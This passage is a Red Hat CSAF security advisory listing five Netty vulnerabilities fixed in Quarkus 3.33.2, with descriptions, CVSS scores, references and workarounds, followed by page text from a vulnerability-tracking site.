"name": "Red Hat build of Quarkus 3.33.2",
"product": {
"name": "Red Hat build of Quarkus 3.33.2",
"product_id": "Red Hat build of Quarkus 3.33.2",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:quarkus:3.33::el8"
}
}
}
],
"category": "product_family",
"name": "Red Hat build of Quarkus"
}
],
"category": "vendor",
"name": "Red Hat"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-42578",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"discovery_date": "2026-05-13T19:02:00.826936+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477226"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: This vulnerability in Netty\u0027s HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler\u0027s explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting applications utilizing this component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "RHBZ#2477226",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477226"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}
],
"release_date": "2026-05-13T17:57:43.538000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Applications utilizing Netty\u0027s HttpProxyHandler must ensure that any user-controlled input used to populate outbound headers is rigorously sanitized to prevent CRLF injection. If comprehensive input sanitization cannot be implemented, restricting network access to the application that uses the HttpProxyHandler can reduce the attack surface.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation"
},
{
"cve": "CVE-2026-42579",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-05-13T19:01:25.062732+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477217"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. Netty\u0027s DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important integrity flaw in Netty\u0027s DNS codec. The vulnerability arises from insufficient enforcement of RFC 1035 domain name constraints during both encoding and decoding, allowing remote attackers to manipulate DNS responses or user-controlled hostnames. This could lead to a high integrity impact on affected Red Hat products that utilize the vulnerable Netty DNS codec.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "RHBZ#2477217",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477217"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
}
],
"release_date": "2026-05-13T18:01:52.500000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement"
},
{
"cve": "CVE-2026-42581",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:02:26.404511+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477232"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty\u0027s HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw. Netty\u0027s HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining unauthorized access to information due to misinterpretation of message boundaries by downstream proxies or handlers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "RHBZ#2477232",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477232"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
}
],
"release_date": "2026-05-13T17:54:44.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers"
},
{
"cve": "CVE-2026-42584",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:01:51.846351+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477224"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A flaw in Netty\u0027s HttpClientCodec allows a remote attacker to cause data confusion. By sending a specially crafted sequence of HTTP responses, an attacker can cause subsequent HTTP responses to be parsed incorrectly, potentially leading to information disclosure or data integrity issues in applications utilizing Netty for HTTP client operations. This vulnerability affects various Red Hat products that bundle Netty, including Red Hat AMQ, Enterprise Application Platform, Red Hat Build of Quarkus, and Red Hat Build of Keycloak.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "RHBZ#2477224",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477224"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"release_date": "2026-05-13T18:10:48.437000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-05-13T19:01:35.415881+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477220"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Netty\u0027s HTTP content decompression. A remote attacker can exploit this flaw by sending specially crafted compressed payloads using Brotli, Zstandard, or Snappy encodings, bypassing configured decompression limits. This leads to unbounded memory allocation, potentially causing an out-of-memory condition and rendering affected Red Hat systems unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.33.2"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "RHBZ#2477220",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"release_date": "2026-05-13T18:22:21.699000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:09:05+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.33.2"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…